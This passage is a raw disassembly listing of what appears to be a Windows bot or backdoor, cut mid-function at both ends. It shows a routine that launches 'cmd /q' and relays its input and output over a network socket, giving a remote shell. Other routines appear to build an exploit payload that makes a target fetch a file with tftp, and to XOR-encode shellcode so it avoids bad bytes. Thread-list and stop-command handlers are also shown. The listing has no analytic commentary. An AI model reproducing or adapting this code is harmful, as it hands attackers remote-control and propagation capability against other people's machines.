		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_423138
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_423120	; CreateProcessA
		test	eax, eax
		jz	short loc_4168B8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	ds:dword_442078[eax], ecx
		call	ds:dword_423074
		jmp	short loc_4168CE
; ---------------------------------------------------------------------------


loc_4168B8:				; CODE XREF: sub_4167FC+9Aj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset dword_43834C ; Format
		call	sub_40BFE3
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4168CE:				; CODE XREF: sub_4167FC+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4167FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168D5	proc near		; DATA XREF: sub_4165B2+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:dword_423070
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_4168FE:				; CODE XREF: sub_4168D5+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_416966
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_416939


loc_41690F:				; CODE XREF: sub_4168D5+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_416929
		cmp	dl, 0Dh
		jz	short loc_416929
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_416929:				; CODE XREF: sub_4168D5+44j
					; sub_4168D5+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_41690F


loc_416939:				; CODE XREF: sub_4168D5+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_43C668	; send
		test	eax, eax
		jle	short loc_416966
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_4168FE
; ---------------------------------------------------------------------------


loc_416966:				; CODE XREF: sub_4168D5+2Dj
					; sub_4168D5+79j
		mov	esi, ds:dword_423088
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_416982
		call	esi	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset dword_438398 ; Format
		call	sub_40BFE3
		pop	ecx
		pop	ecx


loc_416982:				; CODE XREF: sub_4168D5+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416987	proc near		; DATA XREF: sub_4165B2+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4169A0:				; CODE XREF: sub_416987+39j
					; sub_416987+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_43C630	; recv
		test	eax, eax
		jle	loc_416AA5
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169C2
		dec	[ebp+var_10]
		jmp	short loc_4169A0
; ---------------------------------------------------------------------------


loc_4169C2:				; CODE XREF: sub_416987+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A85
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A32
		cmp	al, 7Fh
		jz	short loc_416A32
		cmp	al, 3
		jnz	short loc_4169ED
		push	ebx
		push	ebx
		call	ds:dword_423184	; GenerateConsoleCtrlEvent
		jmp	short loc_416A59
; ---------------------------------------------------------------------------


loc_4169ED:				; CODE XREF: sub_416987+5Aj
		cmp	al, 15h
		jnz	short loc_416A0F
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A45
; ---------------------------------------------------------------------------


loc_416A0F:				; CODE XREF: sub_416987+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A46
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A45
; ---------------------------------------------------------------------------


loc_416A32:				; CODE XREF: sub_416987+52j
					; sub_416987+56j
		cmp	esi, ebx
		jbe	short loc_416A5C
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_416A45:				; CODE XREF: sub_416987+86j
					; sub_416987+A9j
		pop	ecx


loc_416A46:				; CODE XREF: sub_416987+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_43C668	; send
		test	eax, eax
		jle	short loc_416AA5


loc_416A59:				; CODE XREF: sub_416987+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_416A5C:				; CODE XREF: sub_416987+ADj
		cmp	al, 0Dh
		jnz	loc_4169A0
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_423078
		test	eax, eax
		jz	short loc_416AA5
		xor	esi, esi
		jmp	loc_4169A0
; ---------------------------------------------------------------------------


loc_416A85:				; CODE XREF: sub_416987+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416A96
		mov	[ebp+var_C], 1
		jmp	loc_4169A0
; ---------------------------------------------------------------------------


loc_416A96:				; CODE XREF: sub_416987+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169A0
; ---------------------------------------------------------------------------


loc_416AA5:				; CODE XREF: sub_416987+2Bj
					; sub_416987+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416987	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_416AAA(char *Str,int)

sub_416AAA	proc near		; CODE XREF: sub_416ACA+Ap
					; sub_416BA2+8p ...

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+Str]	; Str
		call	_strlen
		push	[esp+8+arg_4]	; Str
		mov	esi, eax
		call	_strlen
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416AAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416ACA(void *Dst,int,void *Str,int)

sub_416ACA	proc near		; CODE XREF: sub_416BB9+49p

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]	; int
		push	[ebp+Str]	; Str
		call	sub_416AAA
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AE7
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416AE7:				; CODE XREF: sub_416ACA+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		push	[ebp+arg_C]	; Str
		mov	esi, eax
		call	_strlen
		mov	edi, eax
		mov	ebx, [ebp+Dst]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	ds:dword_438478, eax
		lea	eax, [edi+1]
		mov	ds:dword_438499, eax
		lea	eax, [edi+17h]
		mov	ds:dword_438491, eax
		pop	eax
		push	74h		; Size
		sub	eax, edi
		push	offset dword_438414 ; Src
		push	ebx		; Dst
		mov	ds:dword_4384A7, eax
		call	_memcpy
		push	esi		; Size
		lea	eax, [ebx+74h]
		push	[ebp+Str]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esi, 74h
		push	5		; Size
		push	(offset	aTftp_exeIGet+0Ch) ; Src
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esi, 5
		push	edi		; Size
		push	[ebp+arg_C]	; Src
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esi, edi
		push	10h		; Size
		push	(offset	aTftp_exeIGet+11h) ; Src
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		add	esp, 44h
		add	esi, 10h
		push	edi		; Size
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esi, edi
		push	38h		; Size
		add	esi, ebx
		push	offset byte_43849D ; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ACA	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_416BA2(char *Str,int)

sub_416BA2	proc near		; CODE XREF: sub_416BB9+Dp

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]	; int
		push	[esp+4+Str]	; Str
		call	sub_416AAA
		push	eax
		call	sub_416C26
		add	esp, 0Ch
		retn
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416BB9(void *Dst,int,char *Str,int)

sub_416BB9	proc near		; CODE XREF: sub_402B7B+32p

Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+Str]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi		; int
		push	ebx		; Str
		call	sub_416BA2
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BD9
		cmp	eax, 0FFFFh
		jbe	short loc_416BDD


loc_416BD9:				; CODE XREF: sub_416BB9+17j
		xor	eax, eax
		jmp	short loc_416C22
; ---------------------------------------------------------------------------


loc_416BDD:				; CODE XREF: sub_416BB9+1Ej
		push	esi
		push	edi		; int
		push	ebx		; Str
		call	sub_416AAA
		add	eax, 101h
		push	eax		; Size
		call	_malloc
		add	esp, 0Ch
		mov	esi, eax
		push	edi		; int
		push	ebx		; Str
		push	edi		; int
		push	ebx		; Str
		call	sub_416AAA
		pop	ecx
		pop	ecx
		push	eax		; int
		push	esi		; Dst
		call	sub_416ACA
		push	eax		; int
		push	esi		; int
		push	[ebp+arg_4]	; int
		push	[ebp+Dst]	; Dst
		call	sub_416C41
		push	esi		; Memory
		mov	edi, eax
		call	_free
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_416C22:				; CODE XREF: sub_416BB9+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C26	proc near		; CODE XREF: sub_416BA2+Ep
					; sub_416C41+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C2F
		inc	ecx


loc_416C2F:				; CODE XREF: sub_416C26+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416C41(void *Dst,int,int,int)

sub_416C41	proc near		; CODE XREF: sub_416BB9+56p

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C5D
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C5D
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C5D
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C60


loc_416C5D:				; CODE XREF: sub_416C41+8j
					; sub_416C41+Ej ...
		inc	[ebp+arg_C]


loc_416C60:				; CODE XREF: sub_416C41+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C88
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C81
		cmp	al, 0Dh
		jz	short loc_416C81
		cmp	al, 5Ch
		jz	short loc_416C81
		test	al, al
		jnz	short loc_416C88


loc_416C81:				; CODE XREF: sub_416C41+32j
					; sub_416C41+36j ...
		add	[ebp+arg_C], 100h


loc_416C88:				; CODE XREF: sub_416C41+28j
					; sub_416C41+3Ej
		push	[ebp+arg_C]
		call	sub_416C26
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CA0
		cmp	eax, 0FFFFh
		jbe	short loc_416CA7


loc_416CA0:				; CODE XREF: sub_416C41+56j
		xor	eax, eax
		jmp	loc_416D45
; ---------------------------------------------------------------------------


loc_416CA7:				; CODE XREF: sub_416C41+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, ds:byte_486F9C
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CD7


loc_416CBB:				; CODE XREF: sub_416C41+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CCE
		cmp	al, 0Ah
		jz	short loc_416CCE
		cmp	al, 0Dh
		jz	short loc_416CCE
		cmp	al, 5Ch
		jnz	short loc_416CD2


loc_416CCE:				; CODE XREF: sub_416C41+7Fj
					; sub_416C41+83j ...
		inc	bl
		xor	edx, edx


loc_416CD2:				; CODE XREF: sub_416C41+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CBB


loc_416CD7:				; CODE XREF: sub_416C41+78j
		cmp	ecx, esi
		mov	ds:byte_486F9C,	bl
		ja	short loc_416D03
		push	15h		; Size
		push	offset loc_4383FC ; Src
		push	[ebp+Dst]	; Dst
		mov	ds:byte_438409,	cl
		mov	ds:byte_43840D,	bl
		call	_memcpy
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D24
; ---------------------------------------------------------------------------


loc_416D03:				; CODE XREF: sub_416C41+9Ej
		push	17h		; Size
		push	offset loc_4383E4 ; Src
		push	[ebp+Dst]	; Dst
		mov	ds:word_4383F2,	cx
		mov	ds:byte_4383F7,	bl
		call	_memcpy
		add	esp, 0Ch
		push	17h


loc_416D24:				; CODE XREF: sub_416C41+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D40
		mov	edx, [ebp+Dst]
		lea	esi, [ecx+edx]


loc_416D32:				; CODE XREF: sub_416C41+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D32


loc_416D40:				; CODE XREF: sub_416C41+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_416D45:				; CODE XREF: sub_416C41+61j
		pop	esi
		leave
		retn
sub_416C41	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_416D48(char *Source,int,int)

sub_416D48	proc near		; CODE XREF: sub_4060CD+220p
					; sub_407243+F0p ...

Source		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_441E70


loc_416D50:				; CODE XREF: sub_416D48+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D64
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_486C00
		jl	short loc_416D50
		jmp	short loc_416DAF
; ---------------------------------------------------------------------------


loc_416D64:				; CODE XREF: sub_416D48+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh		; Count
		push	[esp+0Ch+Source] ; Source
		lea	eax, dword_441E70[esi]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_442070[esi], eax
		and	ds:dword_442074[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_442078[esi], 0
		mov	ds:dword_44207C[esi], eax
		and	ds:byte_442088[esi], 0
		pop	esi


loc_416DAF:				; CODE XREF: sub_416D48+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DB3	proc near		; DATA XREF: sub_40EE51+5BE3o

var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]	; int
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Str]
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_416E05
		push	[ebp+var_14]
		call	sub_417064
		add	esp, 14h
		push	0
		call	ds:dword_423050
		pop	edi
		pop	esi
sub_416DB3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416E05(int,char *Str,int,int)

sub_416E05	proc near		; CODE XREF: sub_416DB3+38p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_441E70


loc_416E2F:				; CODE XREF: sub_416E05+78j
		cmp	byte ptr [esi],	0
		jz	short loc_416E70
		cmp	[ebp+arg_C], 0
		jnz	short loc_416E43
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_416E70


loc_416E43:				; CODE XREF: sub_416E05+33j
		push	esi
		push	edi
		lea	eax, [ebp+Dest]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 24h


loc_416E70:				; CODE XREF: sub_416E05+2Dj
					; sub_416E05+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_486C00
		jl	short loc_416E2F
		pop	edi
		pop	esi
		leave
		retn
sub_416E05	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E83	proc near		; CODE XREF: sub_40EE51+4DCEp
					; sub_416F11+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F0B
		cmp	esi, 1F4h
		jge	short loc_416F0B
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_442084[esi]
		lea	edi, dword_442084[esi]
		call	ds:dword_423168
		cmp	[edi], ebx
		jz	short loc_416EBB
		push	1
		pop	ebp


loc_416EBB:				; CODE XREF: sub_416E83+33j
		mov	[edi], ebx
		lea	edi, dword_442078[esi]
		mov	ds:dword_442070[esi], ebx
		mov	ds:dword_442074[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EDC
		push	eax
		call	sub_415408
		pop	ecx


loc_416EDC:				; CODE XREF: sub_416E83+50j
		mov	[edi], ebx
		lea	edi, dword_44207C[esi]
		mov	byte ptr ds:dword_441E70[esi], bl
		mov	ds:byte_442088[esi], bl
		push	dword ptr [edi]
		call	ds:dword_43C6B0	; closesocket
		lea	esi, dword_442080[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_43C6B0	; closesocket
		mov	[esi], ebx
		pop	edi


loc_416F0B:				; CODE XREF: sub_416E83+Dj
					; sub_416E83+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E83	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F11	proc near		; CODE XREF: sub_40AC3D:loc_40AC61p
					; sub_40D39C+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_441E70


loc_416F1D:				; CODE XREF: sub_416F11+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F2E
		push	edi
		call	sub_416E83
		test	eax, eax
		pop	ecx
		jz	short loc_416F2E
		inc	ebx


loc_416F2E:				; CODE XREF: sub_416F11+Fj
					; sub_416F11+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_486C00
		jl	short loc_416F1D
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F43	proc near		; CODE XREF: sub_40EE51+1E2Cp
					; sub_40EE51+1E9Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_442074


loc_416F57:				; CODE XREF: sub_416F43+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F79
		test	edi, edi
		jle	short loc_416F6B
		cmp	[esi], edi
		jz	short loc_416F6B
		cmp	ebx, edi
		jnz	short loc_416F79


loc_416F6B:				; CODE XREF: sub_416F43+1Ej
					; sub_416F43+22j
		push	ebx
		call	sub_416E83
		test	eax, eax
		pop	ecx
		jz	short loc_416F79
		inc	[ebp+var_4]


loc_416F79:				; CODE XREF: sub_416F43+1Aj
					; sub_416F43+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_486E04
		jl	short loc_416F57
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F43	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F90	proc near		; CODE XREF: sub_4071CC+Bp
					; sub_407243+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_442070


loc_416F97:				; CODE XREF: sub_416F90+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FA0
		inc	eax


loc_416FA0:				; CODE XREF: sub_416F90+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_486E00
		jl	short loc_416F97
		retn
sub_416F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FAF	proc near		; CODE XREF: sub_40EE51+5678p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_442070


loc_416FB9:				; CODE XREF: sub_416FAF+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FD2
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_486E00
		jl	short loc_416FB9
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416FD2:				; CODE XREF: sub_416FAF+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416FD6(int,int,int,int,int,int,int,char *Str)

sub_416FD6	proc near		; CODE XREF: sub_40EE51+1061p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
Str		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+Str], eax
		jz	short loc_416FEF
		push	[ebp+Str]	; Str
		call	_atoi
		pop	ecx


loc_416FEF:				; CODE XREF: sub_416FD6+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F43
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41701B
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_417035
; ---------------------------------------------------------------------------


loc_41701B:				; CODE XREF: sub_416FD6+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_417035:				; CODE XREF: sub_416FD6+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417055
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_417055:				; CODE XREF: sub_416FD6+63j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		leave
		retn
sub_416FD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_417064	proc near		; CODE XREF: sub_401000+A2p
					; sub_401447+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_442084[eax], ecx
		mov	ds:dword_442070[eax], ecx
		mov	ds:dword_442074[eax], ecx
		mov	ds:dword_442078[eax], ecx
		mov	ds:dword_44207C[eax], ecx
		mov	ds:dword_442080[eax], ecx
		mov	byte ptr ds:dword_441E70[eax], cl
		mov	ds:byte_442088[eax], cl
		retn
sub_417064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170A1	proc near		; CODE XREF: sub_40EE51+61A8p
					; sub_4171CF+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4170AB:				; CODE XREF: sub_4170A1+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41710B
		cmp	eax, 1
		jnz	short loc_41710B
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41710B
		cmp	cl, 2Ah
		jz	short loc_4170F2
		cmp	cl, 3Fh
		jz	short loc_4170D5
		cmp	cl, 5Bh
		jz	short loc_4170DA
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4170D5:				; CODE XREF: sub_4170A1+26j
		inc	[ebp+arg_4]
		jmp	short loc_417105
; ---------------------------------------------------------------------------


loc_4170DA:				; CODE XREF: sub_4170A1+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417137
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417105
; ---------------------------------------------------------------------------


loc_4170F2:				; CODE XREF: sub_4170A1+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171CF
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_417105:				; CODE XREF: sub_4170A1+37j
					; sub_4170A1+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170AB
; ---------------------------------------------------------------------------


loc_41710B:				; CODE XREF: sub_4170A1+Ej
					; sub_4170A1+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41711B
		cmp	eax, 1
		jnz	short loc_417132
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41710B
; ---------------------------------------------------------------------------


